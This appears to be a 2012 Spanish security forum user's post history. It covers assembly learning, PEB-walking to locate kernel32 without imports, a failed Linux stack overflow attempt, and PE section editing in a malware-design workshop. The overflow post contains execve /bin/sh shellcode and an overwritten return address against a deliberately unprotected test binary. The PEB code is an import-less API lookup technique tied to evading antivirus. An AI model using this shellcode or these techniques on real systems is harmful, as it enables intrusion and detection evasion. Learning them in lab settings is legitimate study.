|
211
|
Programación / ASM / Re: ya logre obtener PEB de kernel32.. y ahora como continuo?
|
en: 16 Junio 2012, 05:51 am
|
RHL
El problema es que solo estas haciendo copy - paste y quiza ni sabes lo basico de lenguaje ensamblador ( no lo digo de mal forma ) solo viendo tu codigo
que es eso? crees que no seria mucho más seguro y rapido comprobarlo por vos mismo y tratar de ensamblar y depurar el codigo para ver si funciona? si se obtiene lo que esperas es porque funciona no? sino hay que depurar.
jeje yo se que parece un copy - paste, pero si e investigado sobre la estructura PEB, incluso en el primer post describo que estudie el como encontrarlo, talvez hay formas mas optimas pero apenas estoy empezando con ASM por eso no puedo hacer todavia algo mas optimo el problema tambien esta en que no encuentro tutoriales ASM con ejercicios, solo encuentro con 3 ejercicios, un "hola mundo", un MessageBoxA y una GUI asi que pues decidi, hacer cosas que hago en C, pero en ensamblador para irme acostumbrando Y si trate de comprobarlo pero no me funciono, y preferi poner un intento fallido, a no poner nada y que piensen que estoy esperando que alguien me haga todo gracias, de aqui encontre la explicacion de la estructura PEB y esta parte no la habia visto _Enko Tampoco dices que es lo que quieres lograr.
No pudes utilizar win32ax.inc si no quieres tener una sección de imports. Porque ese conjunto de macros te agrega todos los imports automáticamente.
A ningún antivirus le gustan las ejecutables que no tengan una sección con imports. pues de hecho si lo hice, en el primer post comente que queria saber como encontrar las direcciones para ejecutar un messagebox con un mensaje algo parecido a C Este codigo sencillo es mio, no vayan a pensar que lo copie #include <stdio.h> #include <stdlib.h> #include <Windows.h> typedef int (CALLBACK *MSBX)(HWND, LPCTSTR, LPCTSTR, UINT); int main(int *argv, char *argc){ HMODULE han; MSBX msgbox; han = LoadLibrary(L"User32.dll"); msgbox = (MSBX)GetProcAddress(han, "MessageBoxA"); msgbox(NULL,"mensaje","exito!!", NULL); }
a lo de win32ax solo lo puse porque me dijeron que si ponia eso, ya no era necesario imports, pero entonces creo mejor lo quitare y me acostumbrare a los imports Иōҳ
Tienes que estudiar el Formato PE. pues si los estuve estudiando, de hecho fui el que mas pregunto en el taller de "The Swash", la verdad me ayudo mucho su taller, logre aprender bastante MCKSys Argentina Esto esta en los ejemplos del paquete MASM: \masm32\examples\exampl06\mob\noimport Aca se saca la base del Kernel del stack. Creo que sacarlo de la PEB es mejor.. gracias, pero eso es lo que estoy tratando de encontrar es despues de kernel32, que mas sigue, por eso pedia saber que mas necesito estudiar o entender para poder continuar, digo no busco que me pongan el codigo, sino que tengo que aprender o buscar para poder avanzar y si llegara a tener problemas, esperar que alguien aqui me pueda orientar, sobre que podria estar haciendo mal bueno, espero me pudan ayudar salu2
|
|
|
212
|
Programación / ASM / Re: ya logre obtener PEB de kernel32.. y ahora como continuo?
|
en: 15 Junio 2012, 06:06 am
|
hola gracias por responder asi pongo el codigo con [fs:0x30], pero me aparece un error al ejecutarlo, intente depurarlo pero la verdad no entendi cual seria el error include 'C:\fasm\include\win32ax.inc' .data Kerbel dd ? .code start: xor eax, eax mov eax, [fs:0x30] mov eax, [eax + 0x0C] mov eax, [eax + 0x1C] mov eax, [eax] mov eax, [eax + 0x08] mov [Kerbel], eax invoke MessageBoxA, 0, [Kerbel],0 .end start
y encontre esto stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA"
pero no entiendo donde o como hizo una llamada a la Api GetProcAddress, solo tiene esto proc FuncionInyectada,pGetProcAddress locals ; Definimos las variables locales BaseKernel32 dd ? ;MZ de la kernel32.dll endl ;Leemos el PEB para obtener la base del kernel xor eax, eax add eax,[fs:eax+30h] mov eax, [eax + 0ch] mov esi, [eax + 1ch] lodsd mov eax, [eax + 08h] mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll
y no veo como llamo a la API, talvez es porque estoy acostumbrado a que en C se escribe que api necesitas porque aqui no lo veo y tambien encontre include 'win32ax.inc' ;Incluimos la libreria .code ;Declaramos la sección de codigo . start: ;Entry point invoke GetModuleHandle,"kernel32.dll" ;Sacamos la posicion de la kernel32.dll invoke GetProcAddress,eax,"lstrlenA" ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll mov ebx,eax ;Guardamos la direccion de lstrlenA en ebx ret ; salimos .end start ;Establecemos el EntryPoint y el
crees que si hago algo asi funcione? include 'C:\fasm\include\win32ax.inc' .data Kerbel dd ? .code start: xor eax, eax mov eax, [fs:0x30] mov eax, [eax + 0x0C] mov eax, [eax + 0x1C] mov eax, [eax] mov eax, [eax + 0x08] mov [Kerbel], eax invoke GetProcAddress, [Kerbel], "LoadLibraryA" invoke GetModuleHandle, "user32.dll" invoke GetProcAddress, eax, "MessageBoxA" mov ebx, eax push 0 push "hola" push 0 push ebx .end start
XD... bueno la verdad no se que hice, espero me puedan ayudar, porke no se como mas podria empezar salu2
|
|
|
213
|
Programación / ASM / ya logre obtener PEB de kernel32.. y ahora como continuo?
|
en: 14 Junio 2012, 06:00 am
|
hola bueno, estoy aprendiendo asm, acabo de entender como encontrar PEB de kernel32.dll DWORD Kerbel; __asm{ xor eax, eax mov eax, fs:[0x30] mov eax, [eax+0x0C] mov eax, [eax+0x1C] mov eax, [eax] mov eax, [eax+0x08] mov Kerbel, eax } printf("PEB asm: %8X", Kerbel );
estuve revisndo sobre la estructura PEB, apuntar a InLoadOrderModuleList de LDR, etc... ya lo intente y si me funciono, pero despues que tengo que hacer para encontrar LoadLibraryA?, y como podria utilizarlo para obtener la direccion con GetProcAddress de MessageBoxA y poder ejecutar un MessageBox con un mensaje? y porcierto, porque ese mismo codigo en asm no me funciona en fasm?, cual es la diferencia? espero me puedan orientar, salu2
|
|
|
214
|
Seguridad Informática / Bugs y Exploits / porque no puedo ejecutar este exploit en linux, si supuestamente ya tengo RET
|
en: 10 Junio 2012, 00:48 am
|
sigo sin lograr crear la shell en linux con un exploit... alguien tiene alguna idea de que podria ser?, esto es lo que hago primero desactivo cat /proc/sys/kernel/randomize_va_space 0 compilo gcc -g --no-stack-protector -z execstack vuln.c -o vuln con GDB, analizo $(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')
Breakpoint 1, overflow ( badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀BBBB") at vuln.c:6 6 strcpy(buffer, badbeef);
esto obtengo como resultado (gdb) x/x buffer 0xbffff320: 0x00000000 (gdb) x/x badbeef 0xbffff5a4: 0x41414141
(gdb) x/50 $esp 0xbffff310: 0xb7f361d7 0xb7e955f5 0x0000002f 0xb7fbeff4 0xbffff320: 0x00000000 0x0804966c 0xbffff338 0x080482e8 0xbffff330: 0xb7ff1300 0x0804966c 0xbffff368 0x08048449 0xbffff340: 0xb7fbf324 0xb7fbeff4 0xbffff368 0x08048417 0xbffff350: 0xbffff5a4 0xb7ff1300 0x0804843b 0xb7fbeff4 0xbffff360: 0x08048430 0x00000000 0xbffff3e8 0xb7e7ce46 0xbffff370: 0x00000002 0xbffff414 0xbffff420 0xb7fe1860 0xbffff380: 0xb7ff7591 0xffffffff 0xb7ffeff4 0x08048254 0xbffff390: 0x00000001 0xbffff3d0 0xb7ff0986 0xb7fffac0 0xbffff3a0: 0xb7fe1b58 0xb7fbeff4 0x00000000 0x00000000 0xbffff3b0: 0xbffff3e8 0x50be839c 0x60c4758c 0x00000000 0xbffff3c0: 0x00000000 0x00000000 0x00000002 0x08048330 0xbffff3d0: 0x00000000 0xb7ff6730 (gdb) next 7 } (gdb) x/50 $esp 0xbffff310: 0xbffff320 0xbffff5a4 0x0000002f 0xb7fbeff4 0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff330: 0x41414141 0x6850c031 0x68732f2f 0x69622f68 0xbffff340: 0x50e3896e 0x8953e289 0xcd0bb0e1 0x42424280 0xbffff350: 0xbfff0042 0xb7ff1300 0x0804843b 0xb7fbeff4 0xbffff360: 0x08048430 0x00000000 0xbffff3e8 0xb7e7ce46 0xbffff370: 0x00000002 0xbffff414 0xbffff420 0xb7fe1860 0xbffff380: 0xb7ff7591 0xffffffff 0xb7ffeff4 0x08048254 0xbffff390: 0x00000001 0xbffff3d0 0xb7ff0986 0xb7fffac0 0xbffff3a0: 0xb7fe1b58 0xb7fbeff4 0x00000000 0x00000000 0xbffff3b0: 0xbffff3e8 0x50be839c 0x60c4758c 0x00000000 0xbffff3c0: 0x00000000 0x00000000 0x00000002 0x08048330 0xbffff3d0: 0x00000000 0xb7ff6730
(gdb) disass main Dump of assembler code for function main: 0x080483fe <+0>: push %ebp 0x080483ff <+1>: mov %esp,%ebp 0x08048401 <+3>: and $0xfffffff0,%esp 0x08048404 <+6>: sub $0x10,%esp 0x08048407 <+9>: mov 0xc(%ebp),%eax 0x0804840a <+12>: add $0x4,%eax 0x0804840d <+15>: mov (%eax),%eax 0x0804840f <+17>: mov %eax,(%esp) 0x08048412 <+20>: call 0x80483e4 <overflow> 0x08048417 <+25>: mov $0x0,%eax 0x0804841c <+30>: leave 0x0804841d <+31>: ret (gdb) info r eax 0xbffff320 -1073745120 ecx 0x0 0 edx 0x32 50 ebx 0xb7fbeff4 -1208225804 esp 0xbffff310 0xbffff310 ebp 0xbffff348 0xbffff348 esi 0x0 0 edi 0x0 0 eip 0x80483fc 0x80483fc <overflow+24> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
al intentar poner RET me aparece esto (gdb) x/x buffer 0xbffff320: 0x00000000 $(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x20\xf3\xff\xbf"')
Breakpoint 1, overflow ( badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀P\363\377\277") at vuln.c:6 6 strcpy(buffer, badbeef); (gdb) c Continuing.
Program received signal SIGSEGV, Segmentation fault. 0xfff35080 in ?? () (gdb) exit
Y no se que mas me falte o que este haciendo mal, alguien podria explicarme porfavor salu2
|
|
|
216
|
Seguridad Informática / Análisis y Diseño de Malware / Re: [Taller en construcción]Secciones en archivos PE.
|
en: 9 Junio 2012, 20:54 pm
|
hola bueno, pues ya logre agregar al block de notas mi sección y cambiarla con .reloc solo que cambiar la secciones del block .text, .data, .rsrc y .reloc, he tenido problemas si cambio .data y .reloc se alinea a 0x22200, pero .text y .rsrc son muy grandes y cuando los selecciono 0x1f200 ---> .rsrc 0xA800 ----> .text abarca mucho incluso, se selecciona parte de .data y .reloc y no puedo borralos ahora si primero cambio .rsrc y .text pasan dos cosas si .text tiene que quedar en 0x22200, al seleccionar y luego eliminar 0xA800 ya no queda lineado con 0x22200, y pensando que si alineo .data y .reloc se alienaria todo... pero no alcanza y lo mismo pasa con .rsrc --> 0x1f200, es muy grande y si lo elimino ya no quedan alineados lo unico que se me ocurre, es fijarme donde quedan alineados y volver a modificar PointerToRawData con las nuevas direcciones Aunque... de la misma manera que hice con el ejercicio de poner mi sección y cambiarlo por otra, al modificarlo ya no queda en 0x2BE00, la nueva direccion fue 0x2B000 y con cambiar eso funciono, aunque si al intentar cambiar .text con mi sección tambien hay algo mal 0x400 ---> .text 0x2BE00 --> .BAG al cambiarlo quedo 0x400 ---> .BAG 0x21800 --> .text queda como 0x21800 porque al borrar A800 de 0x2CA00 se eliminan hasta quedar en 0x21800 y son 0x2CA00 por la suma de mi sección agregada pero me dice que ya no es un aplicacion win32 creo al eliminar A800, tambien elimino parte de .data incluso tambien .rsrc, talvez por eso falla pero entonces tendria que eliminar de A800, el tamaño de las secciones siguientes para no tocarlas? bueno almenos, ya logre agregar mi sección y cambiarla con .reloc, jeje ahora no tuve tiempo de practicar, pero creo cada vez entiendo mas salu2
|
|
|
217
|
Seguridad Informática / Análisis y Diseño de Malware / Re: [Taller en construcción]Secciones en archivos PE.
|
en: 2 Junio 2012, 21:47 pm
|
Hola
Ok creo si se tenia que modificar algunas cosas, bueno creo ahora haré el intento y como ejercicio tratare de agregar una secciona mia y vere si puedo cambiarla por. Text
Solo una última duda, porque quedo 0x1000 Reloc si la suma de la sección anterior no da. 0x1000?
Y otra pregunta, si filealigment es de 0x200 como podría estar alineado con 0xA800?
Bueno mientras haré esto y el ejercicio a ver que tal me va
Salu2
|
|
|
218
|
Seguridad Informática / Análisis y Diseño de Malware / Re: [Taller en construcción]Secciones en archivos PE.
|
en: 1 Junio 2012, 05:24 am
|
si hice basicamente lo mismo que con la aplicacion VB6, el archivo queda con la misma cantidad de datos al final lo repeti varias veces para verificar que no me equivoque al cambiar los bytes, y conte poco a pco los hexa de las secciones en la aplicacion de VB6, me salio bien, y se que practicamente es lo mismo, pero no se que podria ser ahora mira esto es lo de la PE 000000E0 50 45 00 00 4C 01 04 00 0F C6 5B 4A 00 00 00 00 00 PE..L.....[J..... 000000F1 00 00 00 E0 00 02 01 .......
FileAligment Esto es .text 000001D8 2E 74 65 78 74 00 00 00 8C A6 00 00 00 10 00 00 00 .text............ 000001E9 A8 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 ................. 000001FA 00 00 20 00 00 60 .. ..`
este es .reloc 00000250 2E 72 65 6C 6F 63 00 00 34 0E 00 00 00 F0 02 00 00 .reloc..4........ 00000261 10 00 00 00 AE 02 00 00 00 00 00 00 00 00 00 00 00 ................. 00000272 00 00 40 00 00 42 ..@..B
Y como te menciono, en la aplicacion de VB6 lo hice bien, pero aqui no se que podria pasar
|
|
|
219
|
Seguridad Informática / Análisis y Diseño de Malware / Re: [Taller en construcción]Secciones en archivos PE.
|
en: 1 Junio 2012, 02:14 am
|
hola estaba haciendo lo mismo de cambiar secciones en el block de notas, pero una pregunta si SizeOfRawData, no esta lineado como en tu ejemplo Sección .text: PointerToRawData: 0x200 SizeOfRawData: 0x200 Sección .idata: PointerToRawData: 0x400 SizeOfRawData: 0x200 Sección .data: PointerToRawData: 0x600 SizeOfRawData: 0x200 tendria que modficar eso tambien, por ejemplo en FileAligment me aprece 0x200 pero en .text es .text: PointerToRawData: 00A80000 y SizeOfRawData: 00040000 y el de .reloc es .reloc: PointerToRawData: 00100000 y SizeOfRawData: 00AE0200 en el caso de que fuece diferente, trendria que alinerlo, o que tendria que hacer? salu2
|
|
|
220
|
Seguridad Informática / Análisis y Diseño de Malware / Re: [Taller en construcción]Secciones en archivos PE.
|
en: 31 Mayo 2012, 20:16 pm
|
creo ya comprendi
entonces si a mi me aparece FileAligment como
00 20 00 00 -> 00 00 20 00
seria
00 00 20 17 -> 0x2017 - 0x17 = 0x2000
y si me apareciera
00 00 10 17 -> 0x1017 - 0x17 = 0x1000
acaso es asi?
pero, en el block de notas me aparece como 0x2000, entonces porque no funciona con 0x2000 y si funciona con 0x1000
porque bueno, al revisarlo, lo tengo en la posicion 11C
00 20 00 00, al agregar 0x17, entonces seria 17 20 00 00 - 0x17 = 00 20 00 00, pero de esa manera no funciona, tengo que dejarlo como 0x1000
00 10 00 00, pero porque?
y de lo de VB6, ya lo logre, movi ".Text" y ".rsrc" y si quedo bien y el icono tambien quedo bien
solo que intente mover ".Text" y ".data", e igual desaparece el mensaje, incluso ahora me aparece Messagebox, pero vacio, jeje, quien sabe porque con ese me sale raro
salu2
|
|
|
|
|
|
|